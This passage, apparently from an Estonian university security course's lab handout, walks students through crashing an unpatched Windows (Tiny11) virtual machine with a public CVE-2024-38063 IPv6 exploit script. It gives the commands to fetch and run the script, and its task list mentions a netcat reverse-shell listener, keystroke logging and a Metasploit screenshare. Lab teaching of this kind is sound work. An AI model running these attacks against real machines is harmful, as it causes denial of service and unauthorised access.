), et see uuendaks kuvatavaid andmeid. Selle analüüsiga on osadel tudengitel läinud ka umbes 15 minutit või VirusTotal suure koormuse hetkedel pole üldse analüüsi teostatud. Sellisel juhul võiks mõne aja pärast uuesti proovida enda loodud pahalasega faili analüüsiks üles laadida.
NB! pordinumber võib tekkida ka Memory Patterns
alla. Ekraanipildi esitusel tehke oma pordinumber seal aktiivseks.
- 13-5: Esitage ekraanivaade
virustotal.com
veebilehelBEHAVIOR
vahelehest, kus onNetwork Communication
->IP Traffic
juures näha teie matriklinumbri kolmele viimasele numbrile vastav pordinumber. Seda analüüsibVirusTotal Jujubox
sandbox.
Kujutis 13. VirusTotal analüüs iseloodud pahavarale.
CVE-2024-38063
Nüüd viime läbi rünnaku 2024. aasta augustis avalikustatud Windows masinate turvanõrkuse vastu, mis töötab ainult IPv6 kasutades. Väärib mainimist, et antud rünnakule tuli turvauuendus juba 2024. aasta septembris, kuid kuna Tiny11 ei saa kõiki värskeid uuendusi ning on loodud enne selle nõrkuse parandamist, siis saame rünnakut sellel masinal veel läbi viia.
NB! Lülitage Tiny11
virtuaalmasin sama bridged adapter
peale, mis teil Kali Linux masin on.
Siinkohal tulevad teie eelmises ülesandes kogutud andmed ohvri kohta kasuks. Teame ohvri masina operatsioonisüsteemi versiooni ning tema IP-aadressi ja MAC-aadressi (Armitage intense scani väljundist). Seega teame, et uuemad ründed näiteks 2024. aastast pole enam parandatud ohrvi masinal. Kogutud andmete põhjal saame rünnata ohvri masinat CVE-2024-38063
turvanõrkust ära kasutades.
NB! Antud rünnak toimib ainult IPv6 peal. Kontrollige, kas teie Kali Linux ning Tiny11 masinatel on parasjagu IPv6 aadress. Kui teil pole IPv6 aadressi, siis:
- Kontrollige VirtualBox seadetest, et teil oleks
Bridged adapter
sisse lülitatud. - Kontrollige kas teie interneti teenusepakkuja väljastab IPv6 aadresse järgnevalt veebilehelt:
- https://test-ipv6.com/
- Pöörake tähelepanu DNS serveri väljale. Kui see pole rohelise linnukesega, siis proovige võimaluse korral teisi võrguühendusi nagu näiteks muu kaabelvõrk, WI-FI, telefoni hotspot.
- Kodus tegijatel soovitame rohelise linnukese puudumisel tulla praktikumi koha peale või proovida lahendada ülesannet näiteks Delta raamatukogus (Narva mnt 18) type-c võrgukaabliga ühendades.
- https://test-ipv6.com/
- Kui on roheline linnuke, siis tehke masinate võrguliidestele restart ning vaadake kas IPv6 aadress tekib.
- Linux puhul
sudo systemctl restart NetworkManager
- Windows puhul
Settings
->Network & Internet
->Advanced network settings
->Network Reset
->Reset now
- Linux puhul
Ründaja
$ sudo apt install python3-scapy $ git clone https://github.com/ynwarcs/CVE-2024-38063.git
Seejärel liikuge äsja kloonitud kausta ning sealt edasi kausta script. Peaksite nägema seal faili cve-2024-38063.py
. Avage fail nano
abil ning uurige seda põgusalt. Kohe koodi algul on näha muutujad iface
, ip_addr
ja mac_addr
, mis on defineerimata. Leidke ja lisage neile väärtused:
iface
- ründava masina võrguliides (ingl network interface)- Kali masinast leitav käsuga
ifconfig
. - Peaks olema
eth0
.
- Kali masinast leitav käsuga
ip_addr
- ohvri IPv6 aadress- Leidke Windows ohvri masinas oma IPv6 link-local aadress. Leiate selle ka varasemalt isetehtud pahavaraga ründe ekraanipildilt.
- NB! Aadressi kopeerides eemaldage vajadusel lõpust tsooni indeks, mis algab
%
märgisega.
mac_addr
- ohvri MAC-aadress- Windows masinas leitav
getmac
käsuga. Peaks olema nähtav ka Armitage intense scan väljundist. - NB! asendage MAC-aadressil vajadusel sidekriipsud koolonitega (
08-00-27-93-83-38
->08:00:27:93:83:38
).
- Windows masinas leitav
Kui olete vastavad väärtused leidnud, siis salvestage muudatused ning avage Kali Linux masinas Wireshark:
$ wireshark
Püüdke pakette võrguliidesel eth0
ning pange filtriks:
ipv6.addr == <link-local ohvri IPv6> && ipv6
Nüüd saame näha, mis rünnaku käigus juhtub. Jätke Wireshark kõrval aknas nähtavaks ning kontrollige, et ohvri masin töötaks ja ei ole hangunud. Seejärel käivitage ründekood:
$ sudo python3 cve-2024-38063.py
Peaks algama minutiline taimer, mille käigus saadetakse suurtes kogustes IPv6 pakette. Sellega koormatakse ohvri masin üle ja see peaks kokku jooksma. Peaksite saama hetkelise Blue screen of death akna enne kui virtuaalmasin taaskäivitub. Ohvri masin võib ka jäädavalt hanguda.
- NB! Kui ka mõnda aega peale taimeri lõppemist pole ohver kokku jooksnud, siis suurendage
cve-2024-38063.py
koodisnum_tries
janum_batches
väärtuseid ning proovige uuesti.
Ohver
Kui ohvri masin jälle tööle läheb, siis minge uurige süsteemi logisid:
- Parem hiireklahv Windowsi Start menüüle
Event Viewer
Windows Logs
System
Uurige sealseid logisid ning leidke masina kokkujooksmise hetkel toimunud Error
logi, mille Event ID
on 1001
.
Kujutis 14. Windows EventViewer bugcheck 0x000000d1 peale teenusetõkestust.
NB! Bugcheck kood ei pruugi olla alati 0x000000d1
, kuid on enam-vähem samal kujul.
- 13-6: Esitage ekraanivaade Kali Linux ja Tiny11 masinatest, kus on esile toodud
BugCheck
kood ningcve-2024-38063.py
käivitamise väljund.
NB! Kui olete kõik praktikumi ülesanded edukalt lahendanud, siis võite Tiny11
ning Windows_XP_SP3
virtuaalmasinad kustutada.
Praktikumi ülesanded
Praktikumi ülesannete lahendamine annab neli punkti ja esitamiseks on kaks nädalat alates praktikumi toimumisajast (Personaalne tähtaeg vahemikus 19-22. mai).
- 13-1: Mis on
Andmeturve Windows XP
Administrator
kasutaja parool? (mitte esitada parooli räsi ja mitte esitadaLM
puhul osaliselt sobivat Partial match vastust) - 0.5p - 13-2: Esitage
Kali Linux
Armitage
tarkvarast täisekraanivaade, kus on selgelt näha teieohver
(punane),Log Keystrokes
edukas rünne ja teieEesnimi
ningPerenimi
. - 1p - 13-3: Esitage ekraanipilt, kus on
KALI
virtuaalmasinas näharündekäsk
(nc -vv -l -p 20XXX),whoami
,ls
(peab sisaldamaperenimi.ps1
faili) ningipconfig
. Kui kõik ühele pildile ei mahu esitage mitu pilti. - 0.5p - 13-4: Esitage
Kali Linux
metasploit
tarkvara poolt avatudfirefox
veebilehitsejascreenshare
, kus on nähaTiny11
arvutis avatudCommand Promptis
ipconfig
käsu väljund ja sealNAT
IP aadress10.0.2.15
. Samuti peab avatud olema teieperenimi.txt
fail ja seal seesteie nimi
. - 1p - 13-5: Esitage ekraanivaade
virustotal.com
veebilehelBEHAVIOR
vahelehest, kus onNetwork Communication
->IP Traffic
juures näha teie matriklinumbri kolmele viimasele numbrile vastav pordinumber. Seda analüüsibVirusTotal Jujubox
sandbox. - 0.5p - 13-6: Esitage ekraanivaade Kali Linux ja Tiny11 masinatest, kus on esile toodud
BugCheck
kood ningcve-2024-38063.py
käivitamise väljund. -0.5p